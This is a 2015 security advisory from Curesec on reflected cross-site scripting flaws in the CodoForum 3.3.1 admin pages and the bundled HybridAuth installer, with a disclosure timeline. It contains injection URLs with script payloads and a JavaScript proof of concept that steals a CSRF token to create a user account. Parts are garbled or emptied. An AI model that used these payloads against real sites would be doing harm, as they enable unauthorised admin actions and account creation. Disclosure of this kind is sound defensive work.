CodoForum 3.3.1: Multiple Cross Site Scripting Vulnerabilities

CodoForum 3.3.1: Multiple Cross Site Scripting Vulnerabilities

Date: 2015-08-07 16:55:31
Security Advisory – Curesec Research Team

1. Introduction

Affected Product: CodoForum 3.3.1
Fixed in: 3.4
Fixed Version Link:
Vendor Contact:
Vulnerability Type: Multiple Reflected XSS
Remote Exploitable: Yes
Reported to vendor: 07/07/2015
Disclosed to public: 08/07/2015
Release mode: Coordinated
CVE: n/a
Credits Tim Coen of Curesec GmbH

2. Vulnerability Description

Various components of CodoForum are vulnerable to cross site scripting. With this, it is possible to inject and execute arbitrary JavaScript code. This can for example be used by an attacker to inject a JavaScript keylogger, bypass CSRF protection, or perform phishing attacks.

The attacks can be exploited by getting the victim to click a link or visit an attacker controlled website.


CodoForum uses version 2.1.2 of HybridAuth, which has an XSS vulnerability in the installation script. This vulnerability is not present in current versions of HybridAuth.

Sample POC:



sys/Ext/hybridauth/install.php:316 <li><label>HybridAuth Endpoint URL</label><input type="text" class="inputgnrc" value="<?php echo $GLOBAL_HYBRID_AUTH_URL_BASE; ?>" name="GLOBAL_HYBRID_AUTH_URL_BASE" style="min-width:600px;"></li> sys/Ext/hybridauth/install.php:346 if( isset( $item["callback"] ) && $item["callback"] ){ $provider_callback_url = '<span style="color:green">' . $GLOBAL_HYBRID_AUTH_URL_BASE . '?hauth.done=' . $provider . '</span>'; }

XSS 2, 3 & 4

The page that manages users does not encode user input before echoing it, and is thus open to XSS. The vulnerable parameters are "username", "role", as well as "status".

As the function retrieving POST request parameters uses GET parameters as fallback, it is possible to exploit this issue via POST or GET request.

Sample POC:

http://localhost/codoforum/admin/index.php?page=users&username="><script>alert(1)</script>&role=2&status=99 http://localhost/codoforum/admin/index.php?page=users&username=foo&role=2"><script>alert('xsstest')</script>&status=99 http://localhost/codoforum/admin/index.php?page=users&username=foo&role=2&status=9"><script>alert('xsstest')</script>


// admin/modules/users.php:261 $role = getPost('role', '0'); $smarty->assign('role_selected', (($role == '0') ? '2' : $role)); [...] $filter_url.="&role=" . $role; [...] $status = getPost('status', 99); $smarty->assign('status_selected', $status); [...] $filter_url.="&status=" . $status; [...] $username = getPost('username', ""); $smarty->assign('entered_username', $username); [...] $filter_url.="&username=" . $username;


The page that shows a list of users does not encode the "pno" argument, and is thus open to XSS.

Sample POC:



admin/modules/users.php:326 $sort_url = "index.php?page=users&sort_order=" . $isor . $filter_url . '&pno=' . $_GET['pno']; //put inverted link only for table heading $smarty->assign('sort_url', $sort_url);


The page that shows plugins does not properly encode the "plugin" argument, and is thus open to XSS.

Sample POC:



admin/modules/ploader.php:85 <li class="active"><i class="fa fa-wrench"></i> '.$_GET['plugin'].'</li>

3. Proof of Concept Codes:

This proof of concept adds a new user by bypassing CSRF protection. In a similar way, the new user could be given admin rights.

The script can be loaded from an external server by injecting <script src=""></script> as payload for the XSS vulnerabilities described above.

var csrfProtectedPage = 'http://localhost/codoforum/admin/index.php?page=users'; // get valid token for current request var html = get(csrfProtectedPage); document.body.innerHTML = html; var form = document.getElementById('add_user_form'); var token = form.CSRF_token.value; // build form with valid token document.body.innerHTML += '<form id="myform" action="' + csrfProtectedPage + '" method="POST">' + '<input type="hidden" name="CSRF_token" value="' + token + '">' + '<input type="hidden" name="a_username" value="Jill Smith">' + '<input type="hidden" name="a_email" value="">' + '<input type="hidden" name="a_password" value="12345678">' + '<input type="hidden" name="a_repassword" value="12345678">' + '</form>'; // submit form document.forms["myform"].submit(); function get(url) { var xmlHttp = new XMLHttpRequest();"GET", url, false); xmlHttp.send(null); return xmlHttp.responseText; }

4. Solution

Upgrade to Version 3.4:

5. Report Timeline

07/07/2015 Informed Vendor about Issue
07/07/2015 Vendor confirmation
08/03/2015 Vendor releases Version 3.4
08/07/2015 Disclosed to public